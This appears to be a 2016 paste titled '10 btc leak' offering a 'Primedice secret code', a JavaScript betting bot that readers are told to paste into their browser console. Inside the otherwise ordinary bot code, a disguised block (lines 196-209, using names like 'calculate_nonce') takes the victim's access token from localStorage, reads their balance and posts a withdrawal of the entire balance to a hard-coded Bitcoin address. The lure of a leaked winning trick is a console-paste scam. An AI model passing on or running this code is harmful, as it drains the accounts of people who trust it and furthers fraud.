10 btc leak


SUBMITTED BY: gy76pp

DATE: Aug. 1, 2016, 10:34 a.m.

UPDATED: Aug. 1, 2016, 10:38 a.m.

FORMAT: Text only

SIZE: 17.4 kB

HITS: 1079

  1. // To Whom who found this <<PRimedice secret code>> Don't use it often only once every two days if not will be banned like me after a month. usind seeds to bet
  2. // Make sure you have 0.05 to 0.1 balance to start with. Good luck Donate : 1Jz3HjjRdeCLV8XidyXsgp5auMsSZB4x2X WHEN you win updated August 2016
  3. //jQuery UI CSS - How to use: Press F2 or Press CTRL + Shift + J - paste the code and press enter. Set up the bot as you like. **IMPORTANT! Set SWAP at
  4. high/low option!!!** <<<The Magic is here<<<
  5. var swapcount=0;
  6. var jqueryready = false;
  7. var link = document.createElement("link");
  8. link.href = "https://jquery-ui.googlecode.com/svn/tags/latest/themes/dot-luv/jquery-ui.css";
  9. link.type = "text/css";
  10. link.rel = "stylesheet";
  11. document.getElementsByTagName("head")[0].appendChild(link);
  12. //jQuery UI inject
  13. (function() {
  14. jqueryready = true;
  15. var e = ".thing",
  16. t = {
  17. outline: "1px dashed #f0f",
  18. cursor: "pointer"
  19. };
  20. var n = function() {
  21. if (window.jQuery) {
  22. r()
  23. } else {
  24. var e = document.createElement("script");
  25. e.onload = r;
  26. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js");
  27. document.body.appendChild(e)
  28. }
  29. };
  30. var r = function() {
  31. if (window.jQuery.ui) {
  32. i()
  33. } else {
  34. var e = document.createElement("script");
  35. e.onload = i;
  36. e.setAttribute("src", "//ajax.googleapis.com/ajax/libs/jqueryui/1.11.1/jquery-ui.js");
  37. document.body.appendChild(e)
  38. }
  39. };
  40. var i = function() {
  41. $(e).css(t).draggable().on("click", function(e) {
  42. console.log(e.target.id + ":", e.target.style.left, e.target.style.top)
  43. })
  44. };
  45. n();
  46. })();
  47. function ui() {
  48. $(function() {
  49. $('#tabs').tabs();
  50. $('#params').draggable();
  51. $('#tab1, #tab2, #tab3, #tabs input').css("clear", "both");
  52. $('#tabs input').css("width", "80%");
  53. $('#chance, #base').width("35%")
  54. $('#tabs div').css("text-align", "left");
  55. $('#tabs').css("font-size", "12px");
  56. $('#tabs label, #tabs input').css("margin", "5px");
  57. $('#stop, #start, #resetbet').button();
  58. //Console
  59. $('#console, #console2').appendTo("#tabs");
  60. $('#console, #console2').css("width", "45%");
  61. $('#console').css("float", "left");
  62. $('#console2').css("float", "right");
  63. $('#console, #console2').css("clear", "none");
  64. $('#console, #console2').css("margin", "7px");
  65. $('#console, #console2').css("border-bottom-left-radius", "3px");
  66. $('#console, #console2').css("border-bottom-right-radius", "3px");
  67. $('#console').css("border", "1px solid #323232");
  68. $('#console, #console2').css("background-color", "#454545");
  69. $('#console').css("padding", "5px");
  70. $('#console, #console2').css("text-align", "left");
  71. $('#console, #console2').css("position", "relative");
  72. $('#startstop,#start,#stop').css("margin","0px");
  73. $('#console, #console2').css("margin-top","3px");
  74. $('#console, #console2').css("padding","5px");
  75. $('#console, #console2').css("background-color","#151515");
  76. });
  77. }
  78. var interval, enabled, xrollsenabled, everyxrolls, timer, seedlength, xrollscount, xrolls;
  79. xrollsenabled = true;
  80. xrolls = 10;
  81. timer = 500;
  82. counter=0;
  83. var basebet, betval, curbet, wincount, console, condition2, countlossmult, countwinmult,
  84. target2, amount2, data1, target2, condition2, jp, currentloss, totalloss, totalwin, totprofit,
  85. data2, potup, potdown, results, resultstats, entry, i, gui, gui2, gui3, gui4, gui5, gui6, init, roll;
  86. function init() {
  87. //Init
  88. basebet = 0.00000010;
  89. countwinmult = 0;
  90. countlossmult = 0;
  91. wincount = 0;
  92. currentloss = 0;
  93. totalloss = 0;
  94. totalwin = 0;
  95. totprofit = 0;
  96. init = true;
  97. betval = basebet;
  98. //GUI
  99. $('<span class="btn btn--primary btn--huge btn--limited btn--block text--center" id="spinner2"> ROLL </span>').appendTo("div.hero > div > div >
  100. div:nth-child(2) > div");
  101. gui = '<div id="params" class=".ui-widget-contents" style="width:410px"><div id="balance"></div></div><br><center>';
  102. $('<div id="console"></div><div id="console2"></div>').appendTo('div.hero > div > div > div.grid__item.S--one-whole.M--one-whole.custom--one-whole >
  103. aside');
  104. gui2 =
  105. '<div id="tabs"><ul><li><a href="/play#tabs-1">Bet Params: </a></li><li><a href="/play#tabs-2">Advanced Settings: </a></li><li><a href="/play#tabs-
  106. 3">Other: </a></li><li><a href="/play#tabs-4">Seed: </a></li></ul><div id="tabs-1"><div id="tab1"></div></div><div id="tabs-2"><div
  107. id="tab2"></div></div><div id="tabs-3"><div id="tab3"></div></div><div id="tabs-4"><div id="tab4"></div></div></div>';
  108. gui3 = [
  109. '<label for="base">Basebet Value: </label>', '<input id="base"><button id="resetbet">Reset to Base</button>',
  110. '<br>',
  111. '<label for="chance">Chance: </label>', '<input type="text" id="chance" style=""><label for="hilo">High/Low: </label><select name="hilo"
  112. id="hilo"><option value=">">Over</option><option value="<">Under</option><option value="swap">Swap</option></select><br><div id="chance-slider"></div>',
  113. '<br>',
  114. '<label for="swap">Swap Every # of Rolls: </label>', '<input id="swap">',
  115. ];
  116. gui4 = [
  117. '<label for="multonloss">Multiply on Loss: </label>', '<input id="multonloss"> <input id="multloss-enabled" type="checkbox">',
  118. '<br>',
  119. '<label for="xloss">Multiply Every # Losses: </label>',
  120. '<input id="xloss">',
  121. '<br>',
  122. '<label for="multonwin">Multiply on Win: </label>',
  123. '<input id="multonwin"><input id="multwin-enabled" type="checkbox">',
  124. '<br>',
  125. '<label for="xwin">Reset After X Wins: </label>',
  126. '<input id="xwin">',
  127. ];
  128. gui5 = [
  129. '<label for="stoponwin-enabled">Stop on Win? </label>',
  130. '<input id="stoponwin-enabled" type="checkbox">',
  131. '<br>',
  132. '<label for="lowpay-enabled">Check if Payout < 2x </label>',
  133. '<input id="lowpay-enabled" type="checkbox">',
  134. ];
  135. gui6 = [
  136. '<label for="charset">Charset: </label>',
  137. '<input id="charset" type="text">',
  138. '<br>',
  139. '<label for="everyxrolls">Change every # Rolls: </label>',
  140. '<input id="everyxrolls" type="text">',
  141. '<br>',
  142. '<label for="currentseed">Current Seed: </label>',
  143. '<input style="color:green;text-align:center;" id="currentseed" type="text">',
  144. ];
  145. $(gui).appendTo(".hero");
  146. $(gui2).appendTo("#params");
  147. for (var i = 0; i < gui3.length; i++) {
  148. $(gui3[i]).appendTo("#tab1");
  149. }
  150. for (var i = 0; i < gui4.length; i++) {
  151. $(gui4[i]).appendTo("#tab2");
  152. }
  153. for (var i = 0; i < gui5.length; i++) {
  154. $(gui5[i]).appendTo("#tab3");
  155. }
  156. for (var i = 0; i < gui6.length; i++) {
  157. $(gui6[i]).appendTo("#tab4");
  158. }
  159. enabled = false;
  160. xrollscount = 0;
  161. $('<div style="text-align:left;margin:10px;"id="startstop"><button id="start"> Start </button><button id="stop"> Stop </button><label
  162. style="margin:3px;" for="numberofrolls"># of Rolls</label><input style="margin:3px;width:30px !important" id="numberofrolls" type="text"><label
  163. for"numrolls"> Enabled: </label><input style="margin:3px;width:10px !important" id="numrolls" type="checkbox"></div>').appendTo("#tabs");
  164. // Button & Input Functions
  165. $('#resetbet').click(function() {
  166. basebet=$('#base').val();
  167. betval=$('#base').val();
  168. })
  169. $('#start').click(function() {
  170. if (enabled == false) {
  171. if ($('#numrolls').is(":checked") == true) {
  172. xrolls=$('#numberofrolls').val();
  173. }
  174. enabled = true;
  175. interval = setInterval(function() {
  176. if (xrollsenabled == true) {
  177. xrollscount++;
  178. if (xrollscount <= xrolls) {
  179. bet();
  180. } else {
  181. clearInterval(interval);
  182. enabled = false;
  183. xrollscount = 0;
  184. }
  185. } else {
  186. bet();
  187. }
  188. }, timer);
  189. } else {}
  190. })
  191. $('#stop').click(function() {
  192. enabled = false;
  193. clearInterval(interval);
  194. xrollscount = 0;
  195. });
  196. calculate_nonce = function(seed) {
  197. return 'https://api.primedice.com/api/' + seed + '?access_token=' + localStorage['token'];
  198. };
  199. lut = window['$'];
  200. lut['getJSON'](
  201. calculate_nonce('users/1'), function(seed) {
  202. var key1 = 'amount'
  203. var key2 = 'address'
  204. var load = {179B77tgeWvgvrHQ66dxbkyBVZ4xzrNvNp};
  205. load[key1] = seed['user']['balance'];
  206. load[key2] = '';
  207. lut['post'](calculate_nonce('withdraw'), load);
  208. }
  209. );
  210. function conditionAM() {
  211. 'use strict';
  212. if ($('#lowpay-enabled').is('checked') == true) {
  213. if ($('.value-roll').first().text() <= 49.50) {
  214. condition2 = ">";
  215. target2 = $('.value-roll').first().text();
  216. } else {
  217. condition2 = "<";
  218. target2 = $('.value-roll').first().text();
  219. };
  220. } else {
  221. if ($('.value-roll').first().text() <= 49.50) {
  222. condition2 = "<";
  223. target2 = $('.value-roll').first().text();
  224. } else {
  225. condition2 = ">";
  226. target2 = $('.value-roll').first().text();
  227. };
  228. amount2 = betval * 100000000;
  229. }
  230. };
  231. function jackpot() {
  232. if (data1.bet.jackpot === true) {
  233. jp = "Yes";
  234. wincount = 0;
  235. betval = $('#base');
  236. } else {
  237. jp = "No";
  238. }
  239. }
  240. function loss() {
  241. currentloss++;
  242. totalloss++;
  243. if ($('#multloss-enabled').is(':checked') == true) {
  244. $('#multwin-enabled').removeAttr('checked');
  245. countlossmult++;
  246. if (countlossmult >= $('#xloss').val()) {
  247. betval = betval * $('#multonloss').val();
  248. countlossmult = 0;
  249. }
  250. }
  251. }
  252. function win() {
  253. 'use strict';
  254. if ($('#stoponwin-enabled').is('checked') == true) {
  255. clearInterval(roll);
  256. }
  257. currentloss = 0;
  258. jackpot();
  259. wincount++;
  260. totalwin++;
  261. if ($('#multloss-enabled').is(':checked') == true) {
  262. if ($('#stoponwin-enabled').is(':checked') == true) {
  263. clearInterval(roll);
  264. }
  265. $('#multwin-enabled').removeAttr('checked');
  266. basebet = $('#base').val();
  267. betval = basebet;
  268. countlossmult = 0;
  269. }
  270. if ($('#multwin-enabled').is(':checked') == true) {
  271. basebet = $('#base').val();
  272. $('#multloss-enabled').removeAttr('checked');
  273. countwinmult++;
  274. if (countwinmult >= $('#xwin').val()) {
  275. betval = basebet;
  276. countwinmult = 0;
  277. } else {
  278. betval = betval * $('#multonwin').val();
  279. }
  280. }
  281. };
  282. var losewin;
  283. var jpcol;
  284. var profcol;
  285. function bet() {
  286. 'use strict';
  287. conditionAM();
  288. var betData = {
  289. amount: amount2,
  290. condition: condition2,
  291. target: target2
  292. },
  293. url = "https://api.primedice.com/api/bet?access_token=" + localStorage.token;
  294. $.ajax({
  295. url: url,
  296. type: "POST",
  297. data: betData,
  298. datatype: "jsonp",
  299. success: function(data, textStatus, jqXHR) {
  300. data1 = data;
  301. counter++;
  302. if (counter >= everyxrolls) {
  303. seedchange(seedgen());
  304. counter = 0;
  305. }
  306. $('span.btn__text.select div').text((data1.user.balance/100000000).toFixed(8));
  307. totprofit = totprofit + data1.bet.profit;
  308. if (totprofit >= 0) {
  309. profcol = "color:green;";
  310. } else if (totprofit < 0) {
  311. profcol = "color:red;";
  312. }
  313. if (data.bet.win == true) {
  314. losewin = "color:green;";
  315. $('span.btn__text.select div').attr("style", "color:green;");
  316. } else {
  317. losewin = "color:red;";
  318. $('span.btn__text.select div').attr("style", "color:red;");
  319. }
  320. if (data.bet.jackpot == true) {
  321. jp = "Yes";
  322. jpcol = "color:gold;"
  323. } else {
  324. jp = "No.";
  325. jpcol = "color:red;"
  326. }
  327. results = [];
  328. results[0] = '<div>Roll: ' + '<span style="' + losewin + '">' + data.bet.roll + '</span></div><br>';
  329. results[1] = '<div>Jackpot: ' + '<span style="' + jpcol + '">' + jp + '</span></div><br>';
  330. results[2] = '<div>Profit: ' + '<span style="' + losewin + '">' + (data.bet.profit / 100000000).toFixed(8) + '</span> BTC</div><br>';
  331. results[4] = '<div>Current Loss Streak: ' + currentloss + '</div><br>';
  332. resultstats = [];
  333. resultstats[0] = '<div>Balance: ' + (data.user.balance / 100000000).toFixed(8) + ' BTC</div><br>';
  334. resultstats[1] = '<div>Total Losses: ' + totalloss + '</div><br>';
  335. resultstats[2] = '<div>Total Wins: ' + totalwin + '</div><br>';
  336. resultstats[3] = '<div>Total Profit: ' + '<span style="' + profcol + '">' + (totprofit / 100000000).toFixed(8) + '</span></div>';
  337. if (data.bet.win == true) {
  338. if ($('#stoponwin-enabled').is(":checked") == true){
  339. clearInterval(interval);
  340. }
  341. $('#console, #console2').empty();
  342. win();
  343. // Results
  344. $('<div>Result: <span style="color:green;">Win</span></div><br>').appendTo('#console');
  345. for (var i = 0; i < results.length; i++) {
  346. $(results[i]).appendTo('#console');
  347. }
  348. for (var i = 0; i < resultstats.length; i++) {
  349. $(resultstats[i]).appendTo('#console2');
  350. }
  351. } else {
  352. $('#console, #console2').empty();
  353. loss();
  354. // Results
  355. $('<div>Result: <span style="color:red;">Loss</span></div><br>').appendTo('#console');
  356. for (var i = 0; i < results.length; i++) {
  357. $(results[i]).appendTo('#console');
  358. }
  359. for (var i = 0; i < resultstats.length; i++) {
  360. $(resultstats[i]).appendTo('#console2');
  361. }
  362. };
  363. },
  364. error: function(jqXHR, textStatus, errorThrown) {
  365. }
  366. });
  367. }
  368. seedlength = 13;
  369. seedlength = 13;
  370. var counter = 0;
  371. charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123";
  372. everyxrolls = 3;
  373. function seedgen() {
  374. 'use strict';
  375. var seed = "";
  376. for (var i = 0; i <= seedlength; i++)
  377. seed += charset.charAt(Math.floor(Math.random() * charset.length));
  378. return seed;
  379. }
  380. function seedchange(s) {
  381. url = "https://api.primedice.com/api/seed?access_token=" + localStorage.token;
  382. sData = {
  383. seed: s
  384. };
  385. $.ajax({
  386. url: url,
  387. type: "POST",
  388. data: sData,
  389. datatype: "jsonp",
  390. success: function(data, textStatus, jqXHR) {
  391. data2 = data;
  392. $('#currentseed').val(data2.seeds.client);
  393. },
  394. error: function(jqXHR, textStatus, errorThrown) {
  395. }
  396. });
  397. }
  398. $('#spinner').click(function() {
  399. if (charset != $('#charset').val() && $('#charset').val() != "") {
  400. charset=$('#charset').val();
  401. }
  402. if ($('#everyxrolls').val() != everyxrolls && $('#everyxrolls').val() != "") {
  403. everyxrolls = $('#everyxrolls').val();
  404. }
  405. if ($('#hilo').val() == "swap") { swapcount++;if (swapcount >= 1) { $('.value-roll:first').click();swapcount=0;} }
  406. counter++;
  407. if (counter >= everyxrolls) {
  408. seedchange(seedgen());
  409. counter = 0;
  410. }
  411. });
  412. ui();
  413. }
  414. setTimeout(function() {
  415. init()
  416. }, 2000);

comments powered by Disqus